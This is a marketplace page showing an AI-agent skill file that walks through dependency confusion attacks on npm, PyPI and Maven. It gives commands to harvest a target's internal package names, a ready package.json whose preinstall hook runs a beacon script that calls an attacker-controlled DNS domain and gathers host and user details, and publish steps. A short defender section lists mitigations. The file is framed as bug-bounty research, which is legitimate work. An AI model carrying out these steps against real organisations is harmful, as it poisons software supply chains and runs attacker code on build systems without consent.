Skip to main content

dep-confusion

Dependency confusion — publish a higher-version internal package name on public registry (npm/PyPI/Maven/Crates) to coerce CI/CD into pulling attacker code.

Source facts

Repository
BitterSecurity/Decepticon
Last source activity
May 26, 2026 at 03:12
Detected SKILL.md language
English
Stars
5,666
Forks
1,067

Install options

The review-first prompt is selected by default. You can switch to a direct command or download a local copy.

Review the source files

Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.

Showing SKILL.md

SKILL.md
Source instructions · Read-only preview
name
dep-confusion
description
Dependency confusion — publish a higher-version internal package name on public registry (npm/PyPI/Maven/Crates) to coerce CI/CD into pulling attacker code.
metadata
{"when_to_use":"dependency confusion npm pypi maven internal package private registry","mitre_attack":"T1195.002","subdomain":"supplychain","upstream_ref":"skills/_corpus/payloads/Dependency Confusion/"}
# Dependency Confusion (Alex Birsan 2021) When an org uses **internal** private packages (e.g. `@target-internal/utils`) AND a build system that searches BOTH public + private registries, an attacker can publish a public package w/ the **same name at higher version**. Default resolvers pick highest version → public package runs in CI. ## 1. Reconnaissance — find internal package names | Source | Pattern | |---|---| | `package.json` in public repo | `"@target/foo"` scoped packages | | `package.json` exfiltrated from web (`/static/`) | dependency lists | | Webpack bundles | leaked `package.json` strings | | `requirements.txt` / `Pipfile` exposure | `target-internal-lib` | | `pom.xml` / `build.gradle` | `<groupId>com.target</groupId>` | | Github org code search | `@scope` patterns in user/org-owned repos (sometimes accidentally public) | | Stack Overflow / Stack Exchange | engineers asking about internal libs | | Sourcegraph public index | broad search across exposed orgs | ```bash # Pull all JS bundle URLs from a target curl -s "$TARGET" | grep -oP 'src="[^"]*\.js"' | sort -u | while read js; do curl -s "$TARGET$js" | grep -oE '@[a-z0-9_-]+/[a-z0-9_-]+' done | sort -u ``` ## 2. Verify the package is private ```bash # Check npm public npm view @target/internal-utils 2>&1 | grep -E 'E404|not in this registry' # E404 = name available publicly → confusion candidate # PyPI pip index versions target-internal-utils # "ERROR: No matching distribution" = name available # Maven Central via search curl -s "https://search.maven.org/solrsearch/select?q=g:com.target+AND+a:internal-lib" | jq ``` If the name is taken publicly already, confusion path closed (unless you can take it over — check abandoned packages w/ no maintainer email). ## 3. Build the malicious package ```bash mkdir attack-pkg && cd attack-pkg # package.json cat > package.json <<'EOF' { "name": "@target/internal-utils", "version": "999.0.0", "description": "auth-research only", "scripts": { "preinstall": "node beacon.js" } } EOF # beacon.js — DO NOT execute payload, just confirm install cat > beacon.js <<'EOF' const https = require('https'); const os = require('os'); const dns = require('dns'); // Resolve attacker-controlled subdomain to confirm execution // Use Burp Collaborator / interactsh / your own DNS server const subdomain = require('crypto').randomBytes(8).toString('hex'); dns.lookup(`${subdomain}.YOUR_INTERACT_DOMAIN`, () => {}); // Also collect basic env w/o exfil (just locally print for testing) console.log({ hostname: os.hostname(), user: os.userInfo().username, platform: os.platform(), hostname_dns: dns.getServers(), }); EOF ``` ## 4. Publish ```bash npm publish --access public # For org scopes, may need to register the @scope first ``` ## 5. Wait + observe Within hours-days, target's CI will pull `999.0.0`. Burp Collaborator shows DNS hits. ## 6. Programs that PAY for this - Microsoft, Apple, PayPal, Tesla, Yelp, Uber, Shopify, Netflix, Yahoo paid out $30k-$130k EACH to Alex Birsan in the original 2021 campaign - Many BB programs explicitly accept dep-confusion reports under their "supply chain" scope - Bugcrowd has a "Source Code Disclosure / Supply Chain" reward tier ## 7. PoC framing (for the report) DO NOT: - Run any actual exploit logic - Exfiltrate any data - Steal credentials - Disable security DO: - Generate a benign DNS callback (interactsh / Burp Collaborator) - Capture the timestamp + source IP from your callback log - Document the package as "research-only", deprecate it via npm immediately after PoC - Provide cleanup notes: "package @target/internal-utils@999.0.0 published 2026-XX-XX, deprecated 2026-XX-XX, no functional payload" ## 8. Severity | Bug | Severity | |---|---| | Confirmed install on production build infra | Critical 10.0 | | Confirmed install on staging/dev | Critical 9.0 | | Internal package name exposed but no public install attempt | High (depends on data) | ## 9. Defender - **Block public-registry fallback** for scoped packages: `.npmrc` `@target:registry=https://internal-npm.target.com/` - Use lockfiles + integrity hashes (`package-lock.json` w/ `integrity` field) - For PyPI: `pip install --index-url internal-pypi/ --extra-index-url public-pypi/` is BACKWARDS — use `--index-url internal-pypi/ --no-index` and explicitly allowlist public packages - Reserve internal namespace prefixes on public registries before they're used internally - npm: use the `@org` scope and publish a public empty placeholder w/ `private` field ## Cross-references - Upstream catalog: `skills/_corpus/payloads/Dependency Confusion/` - Alex Birsan's original writeup: https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610 ## Known exemplars - Alex Birsan 2021: 35+ Fortune 500 targets, $130k+ in bounties - Multiple H1/BC programs continue to pay $3-30k for confirmed installs - Repeated incidents in 2022-2024 — pattern not dying
View on GitHub